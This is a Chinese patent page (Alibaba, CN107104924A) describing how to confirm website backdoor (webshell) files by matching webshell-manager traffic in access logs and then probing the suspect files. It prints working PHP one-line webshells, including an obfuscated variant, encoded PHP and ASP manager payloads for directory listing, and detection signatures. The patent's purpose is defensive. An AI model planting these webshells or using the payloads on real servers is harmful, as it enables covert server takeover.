CN107104924A - 网站后门文件的验证方法及装置 - Google Patents

网站后门文件的验证方法及装置 Download PDF

Info

Publication number
CN107104924A
CN107104924A CN201610096648.2A CN201610096648A CN107104924A CN 107104924 A CN107104924 A CN 107104924A CN 201610096648 A CN201610096648 A CN 201610096648A CN 107104924 A CN107104924 A CN 107104924A
Authority
CN
China
Prior art keywords
verified
file
internet access
record
access request
Prior art date
Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
Granted
Application number
CN201610096648.2A
Other languages
English (en)
Other versions
CN107104924B (zh
Inventor
李相垚
Current Assignee (The listed assignees may be inaccurate. Google has not performed a legal analysis and makes no representation or warranty as to the accuracy of the list.)
Alibaba Group Holding Ltd
Original Assignee
Alibaba Group Holding Ltd
Priority date (The priority date is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the date listed.)
Filing date
Publication date
Application filed by Alibaba Group Holding Ltd filed Critical Alibaba Group Holding Ltd
Priority to CN201610096648.2A priority Critical patent/CN107104924B/zh
Publication of CN107104924A publication Critical patent/CN107104924A/zh
Application granted granted Critical
Publication of CN107104924B publication Critical patent/CN107104924B/zh
Active legal-status Critical Current
Anticipated expiration legal-status Critical

Links

Classifications

    • HELECTRICITY
    • H04ELECTRIC COMMUNICATION TECHNIQUE
    • H04LTRANSMISSION OF DIGITAL INFORMATION, e.g. TELEGRAPHIC COMMUNICATION
    • H04L63/00Network architectures or network communication protocols for network security
    • H04L63/14Network architectures or network communication protocols for network security for detecting or protecting against malicious traffic
    • H04L63/1408Network architectures or network communication protocols for network security for detecting or protecting against malicious traffic by monitoring network traffic
    • H04L63/1425Traffic logging, e.g. anomaly detection
    • HELECTRICITY
    • H04ELECTRIC COMMUNICATION TECHNIQUE
    • H04LTRANSMISSION OF DIGITAL INFORMATION, e.g. TELEGRAPHIC COMMUNICATION
    • H04L63/00Network architectures or network communication protocols for network security
    • H04L63/08Network architectures or network communication protocols for network security for authentication of entities
    • H04L63/083Network architectures or network communication protocols for network security for authentication of entities using passwords

Landscapes

  • Engineering & Computer Science (AREA)
  • Computer Security & Cryptography (AREA)
  • Computer Hardware Design (AREA)
  • Computing Systems (AREA)
  • General Engineering & Computer Science (AREA)
  • Computer Networks & Wireless Communication (AREA)
  • Signal Processing (AREA)
  • Information Transfer Between Computers (AREA)

Abstract

本发明公开了一种网站后门文件的验证方法及装置。其中,该方法包括:获取网络访问日志记录;按照访问网站后门文件所采用的通信协议对网络访问日志记录进行分析,选取待验证的互联网访问请求记录;根据待验证的互联网访问请求记录所归属的请求类型选取验证方式;通过选取的验证方式验证待验证的互联网访问请求记录访问的文件是否为网站后门文件。本发明解决了相关技术中所采用的通过特征匹配的方式确定网站后门文件的方式准确性较低,易产生漏报或误报的技术问题。

Description

网站后门文件的验证方法及装置
技术领域
本发明涉及互联网领域,具体而言,涉及一种网站后门文件的验证方法及装置。
背景技术
Webshell即网站后门文件,“Web”的含义是需要网站服务器开放Web服务,“shell”的含义是在一定程度上取得网站服务器的操作权限。Webshell是以ASP、PHP、JSP或者CGI等网页文件形式存在的一种命令执行环境,通常采用与网站服务器相同的编程语言编写而成,设置在网站目录中。Webshell从访问者接收任意的参数并添加至自身代码中运行,然后再将运行结果返回给访问者。因此,黑客在入侵一个网站后,通常会将Webshell与网站服务器Web目录下正常的网页文件混在一起,便可以使用浏览器来访问Webshell,以达到长期控制网站服务器的目的,其中,可以包括但不限于:上传/下载文件,查看数据库,执行任意程序命令。由于编程语言灵活多样,新型的Webshell已基本失去静态后门特征,从而能够轻松地绕过后门识别工具的检测。
Webshell管理工具使用特殊的通信协议与网站后门文件进行通信,从而实现磁盘目录浏览、文件上传或下载、执行***命令等功能,其主要的实现原理在于:在网站中上传一个可被Webshell管理工具访问的Webshell,Webshell管理工具将上述功能转换成动态代码并以通信协议约定的格式进行封装,以访问网页的方式将通信内容发送给Webshell。Webshell在运行动态代码后,按照同样的通信协议对运行结果进行封装,然后再返回给Webshell管理工具。尽管每次通信的内容会因功能的不同而存在差异,但受限于通信协议的缺陷,每次通信总会有部分内容是满足一定特征的。
大部分的黑客在上传Webshell文件后,都会选择使用Webshell管理工具对Webshell进行访问。因此,大部分Webshell都能够与Webshell管理工具的访问记录关联起来。尽管网站后门文件***,但黑客常用的Webshell管理工具上的通信协议是不变的。
相关技术中所采用的网站后门检测方法是通过在网站服务器上安装后门检测工具,通过对网站文件进行后门特征扫描以确认是否存在后门文件。在这些网站后门检测工具中,基本上都是使用静态分析技术和沙盒动态调试技术,对代码进行语法解析,构造出执行流程,然后通过模拟执行的方式检测危险函数的调用,最终得出代码是否为网站后门的结果。
然而,这种检测方式存在很大的弊端:首先,网站后门使用的编程语言是多种多样的,其不固定的文件格式增加了后门特征检测的复杂度;其次,特征检测依赖于文件特征库,每出现一种新的后门文件都需要更新文件特征库,由此会导致特征库消耗过多的存储空间;然后,网站后门都会将自己伪装成网站的正常网页文件,易使得检测过程中出现一定数量的漏报或误报。
不仅如此,大多数网站服务器所使用的编程语言都支持动态代码的生成及运行,目前十分流行的“一句话木马”后门文件便很好的利用了这个特性,实现代码的加密与混淆。这种“一句话木马”后门文件已经完全失去了常规的网站后门特征,从而可以轻松地绕过文件特征检测。
为此,黑客为了避免网站后门文件被网站管理员发现或者被网站服务器配置的安全软件检测到,通常都会选择“一句话木马”作为后门文件,***到网站服务器的正常网页文件中;同时,对后门代码进行加密或者混淆,以使得后门文件从表面上看起来不像是网站服务器的后门文件。
下面是常见的“一句话木马”后门文件的代码示例,其具体表现形式如下:
<?php
@eval($_POST['c']);
?>
从上述代码中可以清楚地看到,该代码中存在明显的“一句话木马”后门文件特征,访问者可以向eval函数传入任意代码并执行,所以eval是一个危险的函数调用,基于文件特征的后门检测工具都可以发现此类网站后门文件。
然而,对于下面所示的一句话木马后门代码:
<?php
$c=$_POST['c'];
assert($c);
?>
该后门代码中尽管存在assert这个危险的函数调用,但是因为无法确认变量“$c”的来源,大部分基于文件特征的后门检测工具对此类Webshell后门文件的检测效果其实并不理想。
此外,经过base64编码的一句话木马后门代码如下:
<?php
eval(gzuncompress(base64_decode('eJxTiQ/wDw6JVk9Wjw……UAEwkDMw==')));
?>
上述后门代码经过base64编码和gzcompress压缩,从表面上看并没有任何后门特征,而只有在实际运行过程中才会还原出后门代码,因此,常规的后门检测工具对此类网站后门文件的检测也是无能为力的。
针对上述的问题,目前尚未提出有效的解决方案。
发明内容
本发明实施例提供了一种网站后门文件的验证方法及装置,以至少解决相关技术中所采用的通过特征匹配的方式确定网站后门文件的方式准确性较低,易产生漏报或误报的技术问题。
根据本发明实施例的一个方面,提供了一种网站后门文件的验证方法,包括:
获取网络访问日志记录;按照访问网站后门文件所采用的通信协议对网络访问日志记录进行分析,选取待验证的互联网访问请求记录;根据待验证的互联网访问请求记录所归属的请求类型选取验证方式;通过选取的验证方式验证待验证的互联网访问请求记录访问的文件为网站后门文件。
可选地,按照访问网站后门文件所采用的通信协议对网络访问日志记录进行分析,选取待验证的互联网访问请求记录包括:采用通信协议对网络访问日志记录中包含的全部互联网访问请求记录逐一进行分段解析;将解析后的请求主体内容中包含有由网站后门文件执行的代码段和/或通信协议中设定的固定字段的互联网访问请求记录确定为待验证的互联网访问请求记录。
可选地,根据待验证的互联网访问请求记录所归属的请求类型选取验证方式包括:从待验证的互联网访问请求记录的请求行中提取统一资源定位符(URL);根据URL所包含的后缀部分内容确定请求类型;按照请求类型为待验证的互联网访问请求记录选取验证方式。
可选地,通过验证方式验证待验证的互联网访问请求记录访问的文件是否为网站后门文件包括:从待验证的互联网访问请求记录中提取访问对应文件所使用的连接密码;在请求类型为PHP类型或ASP类型的情况下,从待验证的互联网访问请求记录中查找与连接密码对应的可执行的代码部分;按照预设计算方式运行可执行的代码部分,生成运算结果;当运算结果与预设结果相一致时,确定待验证的互联网访问请求记录访问的文件为网站后门文件。
可选地,通过验证方式验证待验证的互联网访问请求记录访问的文件是否为网站后门文件包括:从待验证的互联网访问请求记录中提取访问对应文件所使用的连接密码;在请求类型为JSP类型的情况下,从待验证的互联网访问请求记录中查找与连接密码对应的可执行的代码部分;按照指定的功能命令运行可执行的代码部分,生成显示结果;当显示结果符合功能命令的功能特性时,确定待验证的互联网访问请求记录访问的文件为网站后门文件。
根据本发明实施例的另一方面,还提供了一种网站后门文件的验证装置,包括:
获取模块,用于获取由外部访问服务器所产生的网络访问日志记录;分析模块,用于按照访问网站后门文件所采用的通信协议对网络访问日志记录进行分析,选取待验证的互联网访问请求记录;选取模块,用于根据待验证的互联网访问请求记录所归属的请求类型选取验证方式;验证模块,用于通过选取的验证方式验证待验证的互联网访问请求记录访问的文件是否为网站后门文件。
可选地,分析模块包括:解析单元,用于采用通信协议对网络访问日志记录中包含的全部互联网访问请求记录逐一进行分段解析;第一确定单元,用于将解析后的请求主体内容中包含有由网站后门文件执行的代码段和/或通信协议中设定的固定字段的互联网访问请求记录确定为待验证的互联网访问请求记录。
可选地,选取模块包括:第一提取单元,用于从待验证的互联网访问请求记录的请求行中提取URL;第二确定单元,用于根据URL所包含的后缀部分内容确定请求类型;选取单元,用于按照请求类型为待验证的互联网访问请求记录选取验证方式。
可选地,验证模块包括:第二提取单元,用于从待验证的互联网访问请求记录中提取访问对应文件所使用的连接密码;查找单元,用于在请求类型为PHP类型或ASP类型的情况下,从待验证的互联网访问请求记录中查找与连接密码对应的可执行的代码部分;生成单元,用于按照预设计算方式运行可执行的代码部分,生成运算结果;第三确定单元,用于当运算结果与预设结果相一致时,确定待验证的互联网访问请求记录访问的文件为网站后门文件。
可选地,验证模块包括:第二提取单元,用于从待验证的互联网访问请求记录中提取访问对应文件所使用的连接密码;查找单元,用于在请求类型为JSP类型的情况下,从待验证的互联网访问请求记录中查找与连接密码对应的可执行的代码部分;生成单元,用于按照指定的功能命令运行可执行的代码部分,生成显示结果;第三确定单元,用于当显示结果符合功能命令的功能特性时,确定待验证的互联网访问请求记录访问的文件为网站后门文件。
在本发明实施例中,不需要对后门文件进行特征匹配,而是采用按照访问网站后门文件所采用的通信协议对服务器上留存的网络访问日志记录进行分析的方式选取待验证的互联网访问请求记录,并且根据待验证的互联网访问请求记录所归属的请求类型选取验证方式确认网络后门文件是否真实存在,从而有效地提高了对网站后门文件进行识别的成功率,显著地降低了对网站后门文件进行验证过程中发生漏报或误报的概率,进而解决了相关技术中所采用的通过特征匹配的方式确定网站后门文件的方式准确性较低,易产生漏报或误报的技术问题。
附图说明
此处所说明的附图用来提供对本发明的进一步理解,构成本申请的一部分,本发明的示意性实施例及其说明用于解释本发明,并不构成对本发明的不当限定。在附图中:
图1是本发明实施例的一种网站后门文件的验证方法的计算机终端的硬件结构框图;
图2是根据本发明实施例的网站后门文件的验证方法的流程图;
图3是根据本发明实施例的网站后门文件的验证装置的结构框图;
图4是根据本发明优选实施例的网站后门文件的验证装置的结构框图;
图5是根据本发明实施例的一种计算机终端的结构框图。
具体实施方式
为了使本技术领域的人员更好地理解本发明方案,下面将结合本发明实施例中的附图,对本发明实施例中的技术方案进行清楚、完整地描述,显然,所描述的实施例仅仅是本发明一部分的实施例,而不是全部的实施例。基于本发明中的实施例,本领域普通技术人员在没有做出创造性劳动前提下所获得的所有其他实施例,都应当属于本发明保护的范围。
需要说明的是,本发明的说明书和权利要求书及上述附图中的术语“第一”、“第二”等是用于区别类似的对象,而不必用于描述特定的顺序或先后次序。应该理解这样使用的数据在适当情况下可以互换,以便这里描述的本发明的实施例能够以除了在这里图示或描述的那些以外的顺序实施。此外,术语“包括”和“具有”以及他们的任何变形,意图在于覆盖不排他的包含,例如,包含了一系列步骤或单元的过程、方法、***、产品或设备不必限于清楚地列出的那些步骤或单元,而是可包括没有清楚地列出的或对于这些过程、方法、产品或设备固有的其它步骤或单元。
实施例1
根据本发明实施例,还提供了一种网站后门文件的验证方法的方法实施例,需要说明的是,在附图的流程图示出的步骤可以在诸如一组计算机可执行指令的计算机***中执行,并且,虽然在流程图中示出了逻辑顺序,但是在某些情况下,可以以不同于此处的顺序执行所示出或描述的步骤。
本申请实施例一所提供的方法实施例可以在移动终端、计算机终端或者类似的运算装置中执行。以运行在计算机终端上为例,图1是本发明实施例的一种网站后门文件的验证方法的计算机终端的硬件结构框图。如图1所示,计算机终端10可以包括一个或多个(图中仅示出一个)处理器102(处理器102可以包括但不限于微处理器MCU或可编程逻辑器件FPGA等的处理装置)、用于存储数据的存储器104、以及用于通信功能的传输装置106。本领域普通技术人员可以理解,图1所示的结构仅为示意,其并不对上述电子装置的结构造成限定。例如,计算机终端10还可包括比图1中所示更多或者更少的组件,或者具有与图1所示不同的配置。
存储器104可用于存储应用软件的软件程序以及模块,如本发明实施例中的网站后门文件的验证方法对应的程序指令/模块,处理器102通过运行存储在存储器104内的软件程序以及模块,从而执行各种功能应用以及数据处理,即实现上述的网站后门文件的验证方法。存储器104可包括高速随机存储器,还可包括非易失性存储器,如一个或者多个磁性存储装置、闪存、或者其他非易失性固态存储器。在一些实例中,存储器104可进一步包括相对于处理器102远程设置的存储器,这些远程存储器可以通过网络连接至计算机终端10。上述网络的实例包括但不限于互联网、企业内部网、局域网、移动通信网及其组合。
传输装置106用于经由一个网络接收或者发送数据。上述的网络具体实例可包括计算机终端10的通信供应商提供的无线网络。在一个实例中,传输装置106包括一个网络适配器(Network Interface Controller,NIC),其可通过基站与其他网络设备相连从而可与互联网进行通讯。在一个实例中,传输装置106可以为射频(Radio Frequency,RF)模块,其用于通过无线方式与互联网进行通讯。
在上述运行环境下,本申请提供了如图2所示的网站后门文件的验证方法。图2是根据本发明实施例的网站后门文件的验证方法的流程图。该方法包括以下处理步骤:
步骤S202:获取网络访问日志记录,其中,网络访问日志记录可以是由外部客户端(例如:个人计算机)访问本地服务器而生成,当然也可以由外部移动终端或其他设备访问本地服务器而生成;
步骤S204:按照访问网站后门文件所采用的通信协议对网络访问日志记录进行分析,选取待验证的互联网访问请求记录;例如:使用识别Webshell通信协议的方式,在服务器日志中找出黑客访问Webshell的记录;
步骤S206:根据待验证的互联网访问请求记录所归属的请求类型选取验证方式;
步骤S208:通过选取的验证方式验证待验证的互联网访问请求记录访问的文件是否为网站后门文件。
相关技术中所提供的后门检测方案仅能够查找静态代码上的特征,或经过语法分析后模拟执行,但都无法将真实的代码还原出来,也无法识别出程序的真实行为。采用本发明实施例所提供的技术方案,不需要对后门文件进行特征匹配,而是采用按照访问网站后门文件所采用的通信协议对服务器上留存的网络访问日志记录进行分析的方式选取待验证的互联网访问请求记录,并且根据待验证的互联网访问请求记录所归属的请求类型选取验证方式确认网络后门文件是否真实存在,其不仅能够识别常规的网站后门文件而且还能够识别经过混淆的网站后门文件,从而有效地提高了对网站后门文件进行识别的成功率,显著地降低了对网站后门文件进行验证过程中发生漏报或误报的概率,进而解决了相关技术中所采用的通过特征匹配的方式确定网站后门文件的方式准确性较低,易产生漏报或误报的技术问题。
可选地,在步骤S204中,按照访问网站后门文件所采用的通信协议对网络访问日志记录进行分析,选取待验证的互联网访问请求记录可以包括以下步骤:
步骤S1:采用通信协议对网络访问日志记录中包含的全部互联网访问请求记录逐一进行分段解析;
步骤S2:将解析后的请求主体内容中包含有由网站后门文件执行的代码段和/或通信协议中设定的固定字段的互联网访问请求记录确定为待验证的互联网访问请求记录。
网站后门文件通常会在网站服务器的Web日志记录中留下Webshell页面的访问数据和数据提交记录。并且,网站后门文件都需要在接收外部参数后才会执行具体的命令,而为了确保网站后门只能由访问者使用,后门文件通常会存在一个唯一的连接密码,而这个连接密码可以通过分析日志内容来得到。Webshell管理工具的工作原理主要在于:在Web请求中***经过编码处理的命令参数,其中,第一个参数即为连接密码,然后再传递给后门文件。
Webshell管理工具的通信协议主要分为以下三层:
第一层为执行PHP代码的函数,例如:eval,assert等;
第二层为base64编码的解码函数,例如:base64_decode;
第三层为经过base64编码处理后的代码,即上述步骤S2中提到的请求主体内容,也是本申请需要重点关注并解析的部分。
黑客作为访问者所期望执行的代码便存放在上述第三层经过base64编码处理后的代码中。目前,主流的Webshell管理工具为了能够躲避服务器安全检测工具的查杀,都会选择在第一层或第二层寻求改进,以实现对后门代码的混淆。然而,无论采用何种变化方式,base64编码的起始部分在通常情况下是固定不变的,因此,可以依照上述特征执行匹配操作。
在一个Web请求中,用户可以自定义很多参数,例如:统一资源定位符(URL),用户代理(User-Agent),存储在用户本地终端上的数据(Cookie),提交数据(post_data)等。这些可控点都可以被Webshell管理工具用于传递参数。因此,通过采用日志分析过程,便可以确定每一条网站日志中这些可控点的内容是否满足Webshell管理工具的通信协议特征。如果满足Webshell管理工具的通信协议特征,则可以将该条日志的URL、连接密码等信息存入数据库中,等待进一步的检测。
下面将分别以PHP类型的互联网访问请求、ASP类型的互联网访问请求以及JSP类型的互联网访问请求为例对上述日志分析过程作进一步的详细描述。
1.对于PHP类型的互联网访问请求
假设在目标网站的根目录hehe.php下存在一个webshell,其内容如下:
<?php@eval($_POST[8]);?>
这是常见的、较为简单的PHP类型“一句话木马”。
通过浏览器发送的正常访问请求的格式具体如下:
GET/hehe.php HTTP/1.1
Content-Type:application/x-www-form-urlencoded
Host:127.0.0.1
Content-Length:765
Connection:Close
然而,如果使用Webshell管理工具发送的PHP类型访问请求,则具体表现形式如下:
POST/hehe.php HTTP/1.1
Content-Type:application/x-www-form-urlencoded
Host:127.0.0.1
Content-Length:765
Connection:Close
8=@eval(base64_decode(QGV2YWwBKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpOw));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=RDpcXHhhbXBwXFxodGRvY3NcXA==
下面需要对上述使用Webshell管理工具发送的访问请求进行分析:
首先,在POST内容中第一次出现的等号左边的数字“8”即为该Webshell的密码,其对应代码中的$_POST[8];即,通过Webshell管理工具发送的每个访问请求中出现在第一个等号左边的内容便是该Webshell的连接密码。
其次,第一次出现在等号右边的内容是一段PHP代码,其基本格式通常为:@eval(base64_decode(var1));其中,最内层括号里面的内容“var1”是经过base64编码过的内容,再外面一层括号内解码函数,而最外层的则是PHP执行函数;另外,var1里面的内容通常为@eval(base64_decode($_POST[z0]));
最后,在“;”后面出现的内容可能会接一个或多个变量z1-z5,这些变量都需要经过base64加密,而在解密之后则会呈现出一些PHP代码。
基于上述分析,本发明实施例所提供的日志分析过程需要完成以下工作:
(1)从Webshell管理工具发送的访问请求中将Webshell的连接密码提取出来。
(2)在@eval(base64_decode(var1))中最内层的var1在某些情况下是不连续的,其匹配难度较大,但是base64中的内容通常需要对应“接收后续变量”的动作(例如:接收z0)。而接收的方式只能是“$_POST[z0]”,因此,只需要匹配到$_POST[z0]对应的base64字符串,基本上便可以认定该访问请求是由Webshell管理工具发送的。但是,考虑到z0是可以发生变化的,因此通常只匹配到“$_POST[”即可。
需要说明的是,上述“$_POST[”即为步骤S2中提到的通信协议中设定的固定字段。
(3)在执行完上述只匹配到“$_POST[”的操作得到的结果仅为该访问请求疑似由Webshell管理工具发送,其原因在于:在正常业务请求中也可能会对$_POST[进行加密。此时,则需要进一步匹配z1-z5中的base64内容,在这部分内容中一定会出现Webshell会执行的代码,例如:@set_magic_quotes_runtime(0);@set_time_limit(0),只有在进一步匹配z1-z5中的base64内容后才能进一步确定这是个Webshell。
需要说明的是,上述z1-z5中出现的一定会出现Webshell会执行的代码即为步骤S2中提到的由网站后门文件执行的代码段。
2.对于ASP类型的互联网访问请求
假设使用Webshell管理工具发送的ASP类型访问请求,其具体表现形式如下:
ysh=Execute("Execute(""On+Error+Resume+Next:Function+bd(byVal+s):For+i=1+To+Len(s)+Step+2:c=Mid(s,i,2):If+IsNumeric(Mid(s,i,1))+Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End+If""&chr(10)&""Next:End+Function:Response.Write(""""->|""""):Execute(""""On+Error+Resume+Next:""""&bd(""""44696D2052523A52523D6264285265717565737428227A312229293A46756E6374696F6E204644286474293A46443D596561722864742926222D223A4966204C656E284D6F6E746828647429293D31205468656E3A4644203D204644262230223A456E642049663A46443D4644264D6F6E74682864742926222D223A4966204C656E2844617928647429293D31205468656E3A46443D4644262230223A456E642049663A46443D464426446179286474292622202226466F726D61744461746554696D652864742C342926223A223A4966204C656E285365636F6E6428647429293D31205468656E3A46443D4644262230223A456E642049663A46443D4644265365636F6E64286474293A456E642046756E6374696F6E3A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A53657420464F3D432E476574466F6C646572282222265252262222293A496620457272205468656E3A526573706F6E73652E577269746528224552524F523A2F2F2022264572722E4465736372697074696F6E293A4572722E436C6561723A456C73653A466F722045616368204620696E20464F2E737562666F6C646572733A526573706F6E73652E577269746520462E4E616D6526636872283437292663687228392926464428462E446174654C6173744D6F646966696564292663687228392926636872283438292663687228392926432E476574466F6C64657228462E50617468292E6174747269627574657326636872283130293A4E6578743A466F722045616368204C20696E20464F2E66696C65733A526573706F6E73652E5772697465204C2E4E616D6526636872283929264644284C2E446174654C6173744D6F6469666965642926636872283929264C2E73697A652663687228392926432E47657446696C65284C2E50617468292E6174747269627574657326636872283130293A4E6578743A456E64204966"""")):Response.Write(""""|<-""""):Response.End"")")&z1=663A5C5C7573725C5C4C6F63616C557365725C5C717877313539303936303432355C5C636F6E6669675C5C
基于上述分析,本发明实施例所提供的日志分析过程需要完成以下工作:
(1)与上述PHP类型请求的处理方式相同,从Webshell管理工具发送的访问请求中将Webshell的连接密码提取出来。
(2)相比于PHP类型请求,ASP类型请求前面的代码的混淆程度更高,其匹配难度较大,因此,可以省略ASP类型请求前面的代码部分的匹配。即不需要通过判断解析后的请求主体内容中是否包含通信协议中设定的固定字段来确定待验证的互联网访问请求记录。
(3)ASP类型请求的中间部分有相当长度的字符串经过十六进制(hex)编码,其中,包含了Webshell必须要使用到的函数CreateObject("Scripting.FileSystemObject"),即经过十六进制编码后的“4372656174654f626a6563742822536372697074696e672e46696c6553797374656d4f626a6563742229”。如果能够通过匹配命中上述函数,则可以初步确定这是个Webshell。
需要说明的是,上述z1-z5中出现的一定会出现Webshell会执行的代码即为步骤S2中提到的由网站后门文件执行的代码段。
3.对于JSP类型的互联网访问请求
假设使用Webshell管理工具发送的JSP类型访问请求,其具体表现形式如下:
Ch023=B&z0=UTF-8&z1=D:\\Install+Software\\tomcat7\\webapps\\cxzm\\
基于上述分析,本发明实施例所提供的日志分析过程需要完成以下工作:
(1)与上述PHP类型请求的处理方式相同,从Webshell管理工具发送的访问请求中将Webshell的连接密码提取出来。
(2)在上述JSP类型请求中第一次出现的等号右边的大写字母的含义代表一个操作代号,从A-Z可以代表执行不同的操作。而在JSP类型请求中的z0是基本保持不变的,因此,可以在这里使用正则匹配\=[A-Z]\&z0\=。
需要说明的是,对于JSP类型的互联网访问请求通常仅需要执行上述步骤S2中提到的关于解析后的请求主体内容中是否包含通信协议中设定的固定字段的匹配操作。
可选地,在步骤S206中,根据待验证的互联网访问请求记录所归属的请求类型选取验证方式可以包括以下操作:
步骤S3:从待验证的互联网访问请求记录的请求行中提取URL;
步骤S4:根据URL所包含的后缀部分内容确定请求类型;
步骤S5:按照请求类型为待验证的互联网访问请求记录选取验证方式。
例如:在使用Webshell管理工具发送的PHP类型访问请求的请求行“POST/hehe.php HTTP/1.1”中,可以通过解析从该请求行中提取到URL“hehe.php”;然后,通过该URL的后缀部分内容“.php”能够确定这是个PHP类型的互联网访问请求,由此可以进一步针对PHP类型的互联网访问请求选取PHP类型的验证方案。
可选地,在步骤S208中,通过验证方式验证待验证的互联网访问请求记录访问的文件是否为网站后门文件可以包括以下步骤:
步骤S6:从待验证的互联网访问请求记录中提取访问对应文件所使用的连接密码;
步骤S7:在请求类型为PHP类型或ASP类型的情况下,从待验证的互联网访问请求记录中查找与连接密码对应的可执行的代码部分;
步骤S8:按照预设计算方式运行可执行的代码部分,生成运算结果;
步骤S9:当运算结果与预设结果相一致时,确定待验证的互联网访问请求记录访问的文件为网站后门文件。
根据上述日志分析过程中提取到的满足Webshell管理工具的通信协议特征的URL,并不意味着这个URL对应的网站文件就必定是一个后门文件,其原因在于:目前网络上存在很多黑客会主动去扫描网站后门文件,而这些扫描请求本身也携带有固定的URL地址,同时在这些扫描请求中也会使用Webshell管理工具的通信协议尝试与目标文件进行交互,因此,这些扫描请求也很有可能满足部分Webshell管理工具的通信协议特征,进而会被认定为是后门文件。故而,上述黑客主动扫描网站后门文件等行为的存在,易导致URL对应的网站文件便是后门文件存在大量误报。
因此,需要采取有效的技术手段来排除因上述黑客主动扫描网站后门文件等行为所产生的误报。对此,首先,需要针对每一种编程语言的后门文件分别设计一套后门验证方案;其次,根据日志分析过程得到的满足Webshell管理工具的通信特征的后门URL的后缀名确定使用哪一种具体的验证方案;然后,再利用连接密码对后门文件进行验证,而最终验证成功的网站后门URL便可以被确切认定为当前存在的网站后门文件。
1.对于PHP类型的互联网访问请求而言:
由于与连接密码相对的等号另一边的内容会被服务器直接执行,因此,可以先尝试让文件执行一次简单的运算,然后将结果显示出来。如果经过运算返回的内容与预计的结果一致,则确认该文件为Webshell。
假设使用Webshell管理工具发送的PHP类型的访问请求如下:
POST/hehe.php HTTP/1.1
Content-Type:application/x-www-form-urlencoded
Host:127.0.0.1
Content-Length:765
Connection:Close
通过连接密码数字“8”查找与该连接密码对应的可执行的代码部分,并按照如下设定的计算方式生成运算结果:
8=die(md5(233333));
如果运算结果返回fb0b32aeafac4591c7ae6d5e58308344且与预期的计算结果相一致,则确认验证成功,该PHP类型的互联网访问请求所访问的文件必定是网站后门文件。
2.对于ASP类型的互联网访问请求而言:
其验证原理与PSP类型的访问请求的验证原理相同,即假设使用Webshell管理工具发送的ASP类型的访问请求如下:
POST/hehe.asp HTTP/1.1
Content-Type:application/x-www-form-urlencoded
Host:127.0.0.1
Content-Length:765
Connection:Close
通过连接密码数字“8”查找与该连接密码对应的可执行的代码部分,并按照如下设定的计算方式生成运算结果:
8=response.write(654363512+3656342)
如果运算结果返回658019854且与预期的计算结果相一致,则确认验证成功,该ASP类型的互联网访问请求所访问的文件必定是网站后门文件。
可选地,在步骤S208中,通过验证方式验证待验证的互联网访问请求记录访问的文件是否为网站后门文件可以包括以下操作:
步骤S10:从待验证的互联网访问请求记录中提取访问对应文件所使用的连接密码;
步骤S11:在请求类型为JSP类型的情况下,从待验证的互联网访问请求记录中查找与连接密码对应的可执行的代码部分;
步骤S12:按照指定的功能命令运行可执行的代码部分,生成显示结果;
步骤S13:当显示结果符合功能命令的功能特性时,确定待验证的互联网访问请求记录访问的文件为网站后门文件。
对于JSP类型的互联网访问请求而言:
由于JSP木马无法直接执行POST内容中的代码,而只能执行少量的预设指令,因此,可以尝试执行“列目录”操作,即:假设使用Webshell管理工具发送的JSP类型的访问请求如下:
POST/hehe.jsp HTTP/1.1
Content-Type:application/x-www-form-urlencoded
Host:127.0.0.1
Content-Length:765
Connection:Close
通过连接密码数字“8”查找与该连接密码对应的可执行的代码部分,并按照如下设定的功能指令生成显示结果:
8=A&z0=UTF-8
如果返回的显示结果中带有“|<-”和“->|”,则表明当前执行的是“列目录”操作,即验证成功,该JSP类型的互联网访问请求所访问的文件必定是网站后门文件。
需要说明的是,对于前述的各方法实施例,为了简单描述,故将其都表述为一系列的动作组合,但是本领域技术人员应该知悉,本发明并不受所描述的动作顺序的限制,因为依据本发明,某些步骤可以采用其他顺序或者同时进行。其次,本领域技术人员也应该知悉,说明书中所描述的实施例均属于优选实施例,所涉及的动作和模块并不一定是本发明所必须的。
通过以上的实施方式的描述,本领域的技术人员可以清楚地了解到根据上述实施例的网站后门文件的验证方法可借助软件加必需的通用硬件平台的方式来实现,当然也可以通过硬件,但很多情况下前者是更佳的实施方式。基于这样的理解,本发明的技术方案本质上或者说对现有技术做出贡献的部分可以以软件产品的形式体现出来,该计算机软件产品存储在一个存储介质(如ROM/RAM、磁碟、光盘)中,包括若干指令用以使得一台终端设备(可以是手机,计算机,服务器,或者网络设备等)执行本发明各个实施例所述的方法。
实施例2
根据本发明实施例,还提供了一种用于实施上述网站后门文件的验证装置,如图3所示,该装置包括:获取模块10,用于获取网络访问日志记录;分析模块20,用于按照访问网站后门文件所采用的通信协议对网络访问日志记录进行分析,选取待验证的互联网访问请求记录;选取模块30,用于根据待验证的互联网访问请求记录所归属的请求类型选取验证方式;验证模块40,用于通过选取的验证方式验证待验证的互联网访问请求记录访问的文件是否为网站后门文件。
